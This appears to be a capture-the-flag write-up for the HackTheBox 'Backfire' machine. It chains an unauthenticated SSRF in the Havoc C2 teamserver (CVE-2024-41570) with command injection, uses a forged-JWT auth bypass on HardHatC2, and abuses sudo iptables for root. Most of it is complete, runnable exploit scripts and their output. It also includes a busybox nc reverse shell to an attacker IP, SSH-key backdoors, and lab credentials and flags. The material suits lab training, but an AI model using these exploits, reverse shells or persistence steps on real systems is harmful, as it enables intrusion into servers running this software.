Backfire
Recon
HTTP (8080)
Just 2 files available for download

Havoc C2
Teamserver {
Host = "127.0.0.1"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}
Demon {
Sleep = 2
Jitter = 15
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}
Havoc: Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.
SSRF
Havoc-C2-SSRF-pocUnauthenticated SSRF (CVE-2024-41570) on Havoc C2 teamserver via spoofed demon agent
└─$ git clone -q https://github.com/chebuya/Havoc-C2-SSRF-poc.git
└─$ cd Havoc-C2-SSRF-poc
PoC seems to have worked since we got a callback from the server itself

Hmmm... but SSRF what exactly..
Vulnerabilities in Open Source C2 Frameworks -> https://github.com/IncludeSecurity/c2-vulnerabilities/blob/main/havoc_auth_rce/havoc_rce.py
└─$ git clone -q https://github.com/IncludeSecurity/c2-vulnerabilities.git
└─$ cd c2-vulnerabilities/havoc_auth_rce
After many trials and errors we were able to combine SSRF with RCE to get command execution. Since Havoc is using websockets we must write our packets in raw format, no socket modules and whatnot (GPT was kind enough to provide code for that). First we upgrade communication to WebSockets, then start the injection of RCE commands which is in above repo.
SSRF + RCE
SSRF script was modified to match our needs, after Custom RCE starts.
# Exploit Title: Havoc C2 0.7 Unauthenticated SSRF
# Date: 2024-07-13
# Exploit Author: @_chebuya
# Software Link: https://github.com/HavocFramework/Havoc
# Version: v0.7
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2024-41570
# Description: This exploit works by spoofing a demon agent registration and checkins to open a TCP socket on the teamserver and read/write data from it. This allows attackers to leak origin IPs of teamservers and much more.
# Github: https://github.com/chebuya/Havoc-C2-SSRF-poc
# Blog: https://blog.chebuya.com/posts/server-side-request-forgery-on-havoc-c2/
#########################
### Updated by: WoyAg ###
#########################
from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util import Counter
from hashlib import sha3_256
import argparse
import json
import random
import requests
requests.packages.urllib3.disable_warnings()
key_bytes = 32
def decrypt(key, iv, ciphertext):
if len(key) <= key_bytes:
for _ in range(len(key), key_bytes):
key += b"0"
assert len(key) == key_bytes
iv_int = int(iv.hex(), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
plaintext = aes.decrypt(ciphertext)
return plaintext
def int_to_bytes(value, length=4, byteorder="big"):
return value.to_bytes(length, byteorder)
def encrypt(key, iv, plaintext):
if len(key) <= key_bytes:
for x in range(len(key), key_bytes):
key = key + b"0"
assert len(key) == key_bytes
iv_int = int(iv.hex(), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
ciphertext = aes.encrypt(plaintext)
return ciphertext
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
command = b"\x00\x00\x00\x63"
request_id = b"\x00\x00\x00\x01"
demon_id = agent_id
hostname_length = int_to_bytes(len(hostname))
username_length = int_to_bytes(len(username))
domain_name_length = int_to_bytes(len(domain_name))
internal_ip_length = int_to_bytes(len(internal_ip))
process_name_length = int_to_bytes(len(process_name) - 6)
data = b"\xab" * 100
header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
print("[***] Trying to register agent...")
r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")
def open_socket(socket_id, target_address, target_port):
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x02"
subcommand = b"\x00\x00\x00\x10"
sub_request_id = b"\x00\x00\x00\x03"
local_addr = b"\x22\x22\x22\x22"
local_port = b"\x33\x33\x33\x33"
forward_addr = b""
for octet in target_address.split(".")[::-1]:
forward_addr += int_to_bytes(int(octet), length=1)
forward_port = int_to_bytes(target_port)
package = subcommand + socket_id + local_addr + local_port + forward_addr + forward_port
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to open socket on the teamserver...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")
def write_socket(socket_id, data):
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x08"
subcommand = b"\x00\x00\x00\x11"
sub_request_id = b"\x00\x00\x00\xa1"
socket_type = b"\x00\x00\x00\x03"
success = b"\x00\x00\x00\x01"
data_length = int_to_bytes(len(data))
package = subcommand + socket_id + socket_type + success + data_length + data
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
post_data = agent_header + header_data
print("[***] Trying to write to the socket")
r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")
def read_socket(socket_id):
command = b"\x00\x00\x00\x01"
request_id = b"\x00\x00\x00\x09"
header_data = command + request_id
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to poll teamserver for socket output...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Read socket output successfully!")
else:
print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
return ""
command_id = int.from_bytes(r.content[0:4], "little")
request_id = int.from_bytes(r.content[4:8], "little")
package_size = int.from_bytes(r.content[8:12], "little")
enc_package = r.content[12:]
return decrypt(AES_Key, AES_IV, enc_package)[12:]
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")
parser.add_argument("-c", "--cmd", help="Command to run", default="sleep 5")
args = parser.parse_args()
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = { "User-Agent": args.user_agent }
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))
############################################################################################################
########################### CUSTOM ###########################
############################################################################################################
def create_websocket_frame(payload, opcode=1, fin=True, mask=True):
"""
Creates a raw WebSocket frame according to RFC 6455.
Args:
payload (bytes): The data to be sent in the frame.
opcode (int, optional): Opcode defining the frame type. Defaults to 1 (text frame).
fin (bool, optional): FIN bit indicating if this is the final frame. Defaults to True.
mask (bool, optional): Whether to mask the payload. Defaults to True (required for client frames).
Returns:
bytes: The raw WebSocket frame as bytes.
"""
if not isinstance(payload, bytes):
payload = payload.encode()
# First byte: FIN (bit 7) and opcode (bits 3-0)
first_byte = (0x80 if fin else 0x00) | (opcode & 0x0F)
# Second byte: MASK (bit 7) and payload length
payload_length = len(payload)
second_byte = (0x80 if mask else 0x00) | (
126 if payload_length > 125 else 127 if payload_length > 65535 else payload_length
)
# Extended length for payloads > 125 bytes
extended_length = (
payload_length.to_bytes(2, 'big') if 126 <= payload_length <= 65535 else
payload_length.to_bytes(8, 'big') if payload_length > 65535 else b''
)
# Mask the payload if required
mask_key = random.urandom(4) if mask else b''
masked_payload = bytes([payload[i] ^ mask_key[i % 4] for i in range(payload_length)]) if mask else payload
# Assemble the frame
return bytes([first_byte, second_byte]) + extended_length + mask_key + masked_payload
def write_and_read_socket(socket_id, request_data):
write_socket(socket_id, request_data)
print(read_socket(socket_id).decode())
USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056
websocket_key = b64encode(random.randbytes(16)).decode()
init_connection = f'''GET /havoc/ HTTP/1.1
Host: {args.ip}:{args.port}
Upgrade: websocket
Sec-WebSocket-Key: {websocket_key}
Sec-WebSocket-Version: 13
Connection: Upgrade
'''
print(init_connection)
write_and_read_socket(socket_id, init_connection.encode())
auth_to_teamserver = {
"Body": {
"Info": {
"Password": sha3_256(PASSWORD.encode()).hexdigest(),
"User": USER
},
"SubEvent": 3
},
"Head": {
"Event": 1,
"OneTime": "",
"Time": "18:40:17",
"User": USER
}
}
auth_to_teamserver = json.dumps(auth_to_teamserver)
print(auth_to_teamserver)
write_and_read_socket(socket_id, create_websocket_frame(auth_to_teamserver))
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
create_listener = {
"Body": {
"Info": {
"Headers": "",
"HostBind": "0.0.0.0",
"HostHeader": "",
"HostRotation": "round-robin",
"Hosts": "0.0.0.0",
"Name": "letmein",
"PortBind": "443",
"PortConn": "443",
"Protocol": "Https",
"Proxy Enabled": "false",
"Secure": "true",
"Status": "online",
"Uris": "",
"UserAgent": "LetMeIn"
},
"SubEvent": 1
},
"Head": {
"Event": 2,
"OneTime": "",
"Time": "08:39:18",
"User": "USER"
}
}
create_listener = json.dumps(create_listener)
print(create_listener)
write_and_read_socket(socket_id, create_websocket_frame(create_listener))
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"XinjectionX\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "letmein"}, "SubEvent": 2}, "Head": { "Event": 5, "OneTime": "true", "Time": "18:39:04", "User": "XUSERX"}}
############################################################################################################
injection = """ \\\\\\\" -mbla; """ + args.cmd + """ 1>&2 && false #"""
injection_config = ('''
{
"Amsi/Etw Patch": "None",
"Indirect Syscall": false,
"Injection": {
"Alloc": "Native/Syscall",
"Execute": "Native/Syscall",
"Spawn32": "C:\\\\Windows\\\\SysWOW64\\notepad.exe",
"Spawn64": "C:\\\\Windows\\\\System32\\notepad.exe"
},
"Jitter": "0",
"Proxy Loading": "None (LdrLoadDll)",
"Service Name":"%s",
"Sleep": "2",
"Sleep Jmp Gadget": "None",
"Sleep Technique": "WaitForSingleObjectEx",
"Stack Duplication": false
}
''' % injection).strip()
injection_request = {
"Body": {
"Info": {
"AgentType": "Demon",
"Arch": "x64",
"Config": injection_config,
"Format": "Windows Service Exe",
"Listener": "letmein"
},
"SubEvent": 2
},
"Head": {
"Event": 5,
"OneTime": "true",
"Time": "18:39:04",
"User": USER
}
}
injection_request = json.dumps(injection_request)
print(injection_request)
write_and_read_socket(socket_id, create_websocket_frame(injection_request))
└─$ py -u exploit_sockets.py -t https://10.129.203.180 -i 127.0.0.1 -p 40056 -c 'curl 10.10.14.44/letmein' | grep -v '\*\*\*'

Since it's a Linux box I first tried busybox nc
for reverse shell and it worked.
└─$ py -u exploit_sockets.py -t https://10.129.203.180 -i 127.0.0.1 -p 40056 -c 'busybox nc 10.10.14.44 4444 -e /bin/bash ' | grep -v '\*\*\*'
└─$ pwncat-cs -lp 4444
[13:26:11] Welcome to pwncat 🐈! __main__.py:164
[13:26:25] received connection from 10.129.203.180:43450 bind.py:84
[13:26:30] 10.129.203.180:43450: registered new host w/ db manager.py:957
(local) pwncat$
(remote) ilya@backfire:/home/ilya/Havoc/payloads/Demon$ id
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
SSH (22)
Upgrade to SSH
└─$ ssh-keygen -f id_rsa -P x -q
└─$ echo "mkdir ~/.ssh; echo '$(cat id_rsa.pub)' > ~/.ssh/authorized_keys"
mkdir ~/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSqT435CihYsIddCWbxsg6w1tY63PvgxW6yZZtzCQd9 woyag@kraken' > ~/.ssh/authorized_keys
--- Run the command on remote
└─$ ssh ilya@backfire.htb -i id_rsa
Warning: Permanently added 'backfire.htb' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
ilya@backfire:~$ id
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
User.txt
ilya@backfire:~$ cat user.txt
a7cdca7e6ba9173d3ca91ed4b3bb63e1
Privilege Escalation (sergej)
Passwords in havoc.yaotl
doesn't work on the box users.
ilya@backfire:~$ cat hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I dont wanna learn another C2 framework, also Go > C#
Googling about this C2 first post I see is HardHatC2 0-Days (RCE & AuthN Bypass)
ilya@backfire:~$ ss -tunlp4
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8443 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:8000 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:443 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:40056 0.0.0.0:*
tcp LISTEN 0 512 0.0.0.0:5000 0.0.0.0:*
tcp LISTEN 0 512 0.0.0.0:7096 0.0.0.0:*
HardHatC2
HardHatC2 server is running on port 7096 internally
ilya@backfire:~$ curl 0:7096/
curl: (52) Empty reply from server
ilya@backfire:~$ curl https://0:7096/ -sk | grep HardHatC2 -in
10: <link href="HardHatC2Client.styles.css" rel="stylesheet" />
sergej
is running this C2 server so we can't read files
ilya@backfire:~$ ps aux | grep HardHatC2 -i
sergej 7298 1.7 6.7 274255248 268396 ? Ssl 13:40 0:09 /home/sergej/.dotnet/dotnet run --project HardHatC2Client --configuration Release
sergej 7355 1.2 3.7 274223364 150368 ? Sl 13:40 0:07 /home/sergej/HardHatC2/TeamServer/bin/Release/net7.0/TeamServer
sergej 7372 1.1 4.5 274205752 179844 ? Sl 13:40 0:06 /home/sergej/HardHatC2/HardHatC2Client/bin/Release/net7.0/HardHatC2Client
ilya 7725 0.0 0.0 6332 2100 pts/0 S+ 13:49 0:00 grep HardHatC2 -i
Github repo mentions port 5000 which seems to be TeamServer listener

Port forward
└─$ ssh ilya@backfire.htb -i id_rsa -L 7096:0:7096

Frontend is using Blazor, but I couldn't find any DLL in traffic.
Credentials from Havoc still didn't work.
I thought that 5000 was serving Havoc files, but it was 8000 which was serving them; Port forward both of them
└─$ ssh ilya@backfire.htb -i id_rsa -L 5000:0:5000 -L 7096:0:7096
Auth Bypass
Using blog's script we are able to create an account:
# @author Siam Thanat Hack Co., Ltd. (STH)
# Updated by WoyAg
from argparse import ArgumentParser
import jwt
import datetime
import uuid
import requests
requests.packages.urllib3.disable_warnings()
def get_admin_token():
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq" # Default secret
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
return token
def register(host, token, username, password):
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
url = f"https://{host}/Login/Register"
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
json = {
"username": username,
"password": password,
"role": "TeamLead"
}
resp = requests.post(url, headers=headers, json=json, verify=False)
return resp
if __name__ == '__main__':
parser = ArgumentParser()
parser.add_argument("-H", "--host", help="Hostname IP:PORT format", required=True)
parser.add_argument("-u", "--username", help="Username", required=True)
parser.add_argument("-p", "--password", help="Password", required=True)
token = get_admin_token()
print(f"Generated JWT: {token}")
args = parser.parse_args()
resp = register(args.host, token, args.username, args.password)
print(f'Response: {resp.text}')
└─$ py auth_bypass.py -H 127.0.0.1:5000 -u test03 -p test03
Generated JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiYmFhMjNhZTUtNDhmYy00YzZkLWI1ZmQtOTYyNWRjOWM2Y2RhIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3MzczMzMyNjAsImV4cCI6MTczOTc1MjQ2MCwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.KyX2TbwjrGRTZ-QpC3HBTfxx1qwGPFHiYzd3E0RE8O4
Response: User test03 created

RCE

We are running commands as serjey
Upgrade to SSH, serjey doesn't have key
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSqT435CihYsIddCWbxsg6w1tY63PvgxW6yZZtzCQd9 woyag@kraken' > ~/.ssh/authorized_keys
Hit SEND like 1000times to actually execute command....
└─$ ssh sergej@backfire.htb -i id_rsa
sergej@backfire:~$ id
uid=1001(sergej) gid=1001(sergej) groups=1001(sergej),100(users)
Privilege Escalation (root)
sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
IPTables
A Journey From sudo iptables
To Local Privilege Escalation
sergej@backfire:~$ cp /etc/passwd .
sergej@backfire:~$ sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n'"pwn:$(openssl passwd -6 -salt y x):0:0:root:/root:/bin/bash"$'\n'
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
pwn:$6$y$4xx1lw55Q8TDG7zVeK8NfVl5UVNMY7G6B7wSqzjYRihBVifBTLGMWIBOz8U43l3Q3JnupvcUrqIEjrgrpGYOl/:0:0:root:/root:/bin/bash
" -j ACCEPT
sergej@backfire:~$ sudo iptables-save -f /etc/passwd
Failed to open file, error: Operation not permitted
We are unable to write to /etc/passwd
The file has immutable
attribute which means almost nothing can change this file, not even root unless it is removed.
sergej@backfire:~$ lsattr /etc/passwd
----i---------e------- /etc/passwd
sergej@backfire:~$ sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSqT435CihYsIddCWbxsg6w1tY63PvgxW6yZZtzCQd9 woyag@kraken\n'
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSqT435CihYsIddCWbxsg6w1tY63PvgxW6yZZtzCQd9 woyag@kraken
" -j ACCEPT
sergej@backfire:~$ sudo iptables-save -f /root/.ssh/authorized_keys
---
└─$ ssh root@backfire.htb -i id_rsa
Warning: Permanently added 'backfire.htb' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@backfire:~# id
uid=0(root) gid=0(root) groups=0(root)
Root.txt
root@backfire:~# cat /root/root.txt
df6a7fcfc5b727579f8d198dbfe3d5d5
Last updated